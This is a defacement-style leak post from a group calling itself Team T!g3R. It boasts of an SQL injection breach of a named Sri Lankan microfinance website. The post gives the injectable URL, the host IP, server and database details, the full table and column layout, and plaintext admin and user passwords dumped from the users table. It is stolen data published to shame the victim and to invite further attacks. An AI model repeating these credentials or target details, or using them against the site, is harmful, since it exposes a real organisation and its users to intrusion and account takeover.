############################### HACKED BY TEAM T!g3R #####################################
MICROFINANCE OF SRILANKA HACKED BY TEAM T!g3R
MEMBERS : w3bd3f4c3r, n3ll4!s4mur4!,r00t, burn3r, violence_sh@r0n.
WEBSITE : www.microfinance.lk
VULNEABLITY SQLi
####################################### PROOFS ###########################################

PROOF OF TABLES AND COLUMNS ACCESSED : http://i51.tinypic.com/2uqg5lt.png
PROOFS OF USER TABLES : http://i55.tinypic.com/28k3m2b.png

############################# ADMIN DETAILS ##############################################

USER NAME : admin
PASSWORD  : efadmingtz

##############################SERVER DETAILS #############################################

Target: 		http://www.microfinance.lk/newsnew.php?id=288
Host IP:		220.247.224.85
Web Server: 		Apache
Powered-by: 		PHP/5.2.5
DB Server: 		MySQL >=5
Resp. Time(avg):	4672 ms
Current User: 		rbi11032008@220.247.224.85
Sql Version: 		5.0.77
Current DB: 		mifit
System User: 		rbi11032008@220.247.224.85
Host Name: 		mysql1.sltidc.lk
Installation dir: 	/usr/
DB User: 		'rbi11032008'@'220.247.224.85'

############################## DATABASE NAMES ##############################################

Data Bases: 	information_schema
		mifit

############################## TABLES AND COLUMNS ##########################################
+TABLES+		++COLUMNS++
users		role_id pass_word user_name full_name user_id
userlevels	role_features role_name role_id
topic		topic_mess topic_state hit_count user_email topic_user topic_date forum_code
		topic_name topic_code
searchtable	CategoryID District Description ContactDetails Address Name SearchID
		reply	reply_state user_email reply_user reply_date topic_code reply_name
		reply_code
publicationpdf	pdf publication_id id
publicationimage	image pdf_id publication_id id
publication		state breaf added_on cat_id link gtz description image pdf Id title
			type
newsimage		image news_id id
news			edited_by added_by edited_on added_on breaf title news id
mfi			added_on Donor_Contact_Person Status_pending_approval_disbursed
			Special_conditions_of_support Terms_of_Loan
			Volume_of_loan_grant_for_on_lending
			Purpose_capacity_building_on_ending Type_of_support_Loan_Grant
			Supported_locations Donor MFI Id
forum			forum_state hit_count forum_date cat_code forum_name forum_code
donor			added_on Donor_Contact_Person Status_pending_approval_disbursed
			Special_conditions_of_support Terms_of_Loan
			Volume_of_loan_grant_for_on_lending
			Purpose_capacity_building_on_ending Type_of_support_Loan_Grant
			Supported_locations MFI Donor Id
category


############################# USER DETAILS #################################################
Data Found: user_id=1
Data Found: full_name=admin
Data Found: user_name=admin
Data Found: pass_word=efadmingtz
Data Found: user_id=2
Data Found: full_name=user
Data Found: user_name=user
Data Found: pass_word=efadmingtz

############################# HACKED BY TEAM T!g3R #########################################